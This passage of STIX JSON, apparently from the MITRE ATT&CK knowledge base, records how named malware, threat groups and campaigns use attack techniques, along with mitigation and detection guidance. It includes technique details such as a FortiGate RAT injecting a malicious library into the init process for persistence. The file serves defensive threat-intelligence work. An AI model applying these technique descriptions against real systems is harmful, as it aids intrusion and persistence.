ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:19:23.121Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can take a screenshot of the target machine and save it to a file.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--895a3c63-26d1-4846-8b8d-8f6b2c266910","type":"relationship","created":"2019-04-19T13:42:46.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019.","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","source_name":"Unit42 Sofacy Dec 2018"},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2019-07-17T01:18:33.123Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251)'s Delphi variant was packed with UPX.(Citation: Unit42 Sofacy Dec 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--895ab8e5-8f5f-420f-b283-61ee0d7ac37a","created":"2023-03-17T19:34:54.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:38:01.601Z","description":"For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors uploaded malware to websites under their control.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--895b238e-356f-4ad0-9a62-e6ae380dccd0","created":"2020-05-06T21:01:23.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Attor Oct 2019","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:58:04.123Z","description":"Strings in [Attor](https://attack.mitre.org/software/S0438)'s components are encrypted with a XOR cipher, using a hardcoded key and the configuration data, log files and plugins are encrypted using a hybrid encryption scheme of Blowfish-OFB combined with RSA.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--895ef30f-0b60-473e-829f-6c6d2aab5ab0","type":"relationship","created":"2020-03-13T14:10:43.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Application Whitelisting","url":"https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J.. (2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014."},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Microsoft Application Lockdown","url":"https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN","description":"Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."},{"source_name":"Microsoft Using Software Restriction ","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."}],"modified":"2021-08-23T20:25:22.764Z","description":"Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--895fbe96-6990-4ebd-a192-1653eb31a1ba","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"modified":"2022-01-26T21:16:54.651Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has used HTTP for C2 communications.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8961d93e-ec51-42dd-8f76-54d46ea21967","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2019-04-29T18:23:16.039Z","description":"[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89672463-a201-43c7-a24a-1e6d7a1a188a","type":"relationship","created":"2020-03-17T14:16:23.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"CSM Elderwood Sept 2012","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"}],"modified":"2021-01-06T19:32:28.688Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open links.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8968bf11-5ba9-4012-a277-4a40ed796fbf","type":"relationship","created":"2020-10-02T16:32:33.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:32:33.229Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89697f9e-cfd2-4273-a5d6-04354f0c3e7c","type":"relationship","created":"2021-01-13T21:16:05.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:16:05.204Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) has used [PsExec](https://attack.mitre.org/software/S0029) to move laterally between hosts in the target network.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89698142-6c48-465f-9e61-0146d0fa481a","type":"relationship","created":"2019-06-05T13:20:24.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.306Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has a module for performing remote desktop access.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--896cd1de-ffa7-4f69-a981-2859cc756601","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.154Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8972de3e-d073-47ec-9665-a10896601e12","type":"relationship","created":"2021-08-04T15:46:36.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:46:36.978Z","description":"[VaporRage](https://attack.mitre.org/software/S0636) has the ability to download malicious shellcode to compromised systems.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8977c8db-64e4-44b5-bee9-362779624a42","type":"relationship","created":"2020-07-27T15:20:50.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.467Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) can iterate through running processes every six seconds collecting a list of processes to capture from later.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--898211c4-915c-469f-be47-321d2d44af90","type":"relationship","created":"2020-12-22T17:48:21.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.059Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has used rundll32.exe to execute a loader.(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8982affe-fe2b-40c8-8b0c-e539687f4124","type":"relationship","created":"2020-05-29T19:31:03.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-05-29T19:31:03.872Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has the ability to execute a PowerShell script to get information from the infected host.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--898416fc-2061-47ae-a642-25442906a2d8","type":"relationship","created":"2021-09-09T14:26:24.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.242Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to recursively enumerate files on an infected endpoint.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89871b65-3850-440a-8a6b-4ed78a24b13d","created":"2024-02-16T17:07:21.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-01T15:56:04.782Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) copies the malicious file /data2/.bd.key/preload.so to /lib/preload.so, then launches a child process that executes the malicious file /data2/.bd.key/authd as /bin/authd with the arguments /lib/preload.so reboot newreboot 1.(Citation: NCSC-NL COATHANGER Feb 2024) This injects the malicious preload.so file into the process with PID 1, and replaces its reboot function with the malicious newreboot function for persistence.","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89887815-acfc-42f9-9172-81437cf9ff69","created":"2019-06-21T16:21:55.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"source_name":"Microsoft Securing Privileged Access","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T19:31:51.875Z","description":"Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not been authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8989ead1-c778-4645-8d95-2d42d875788b","created":"2023-02-14T18:25:02.397Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:25:02.397Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can use RSA-4096 to encrypt data sent to its C2 server.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8990db18-edc0-4634-b62f-840baf1dd231","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:56:57.045Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts, look for connections to/from strange ports, as well as reputation of IPs and URLs related cryptocurrency hosts. ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8996ab0b-8bc5-4c17-9bd5-a29b6c771f62","created":"2022-12-20T19:51:29.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-25T21:09:14.791Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used file names beginning with USERS, SYSUSER, and SYSLOG for [DEADEYE](https://attack.mitre.org/software/S1052), and changed [KEYPLUG](https://attack.mitre.org/software/S1051) file extensions from .vmp to .upx likely to avoid hunting detections.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--899c49f0-4a1b-44d8-81e6-fd927a252bd6","created":"2023-09-27T14:29:27.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Charles McLellan March 2016","description":"Charles McLellan. (2016, March 4). How hackers attacked Ukraine's power grid: Implications for Industrial IoT security. Retrieved September 27, 2023.","url":"https://www.zdnet.com/article/how-hackers-attacked-ukraines-power-grid-implications-for-industrial-iot-security/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:34:08.205Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used [BlackEnergy](https://attack.mitre.org/software/S0089)’s network sniffer module to discover user credentials being sent over the network between the local LAN and the power grid’s industrial control systems. (Citation: Charles McLellan March 2016)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--899f5d50-95bf-47e6-a95a-cb6e46a4c9bd","type":"relationship","created":"2021-10-15T19:48:30.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T19:48:30.398Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89a3764f-0695-4121-9298-fe25d98dffe1","created":"2024-02-15T13:45:20.908Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T13:45:20.908Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_a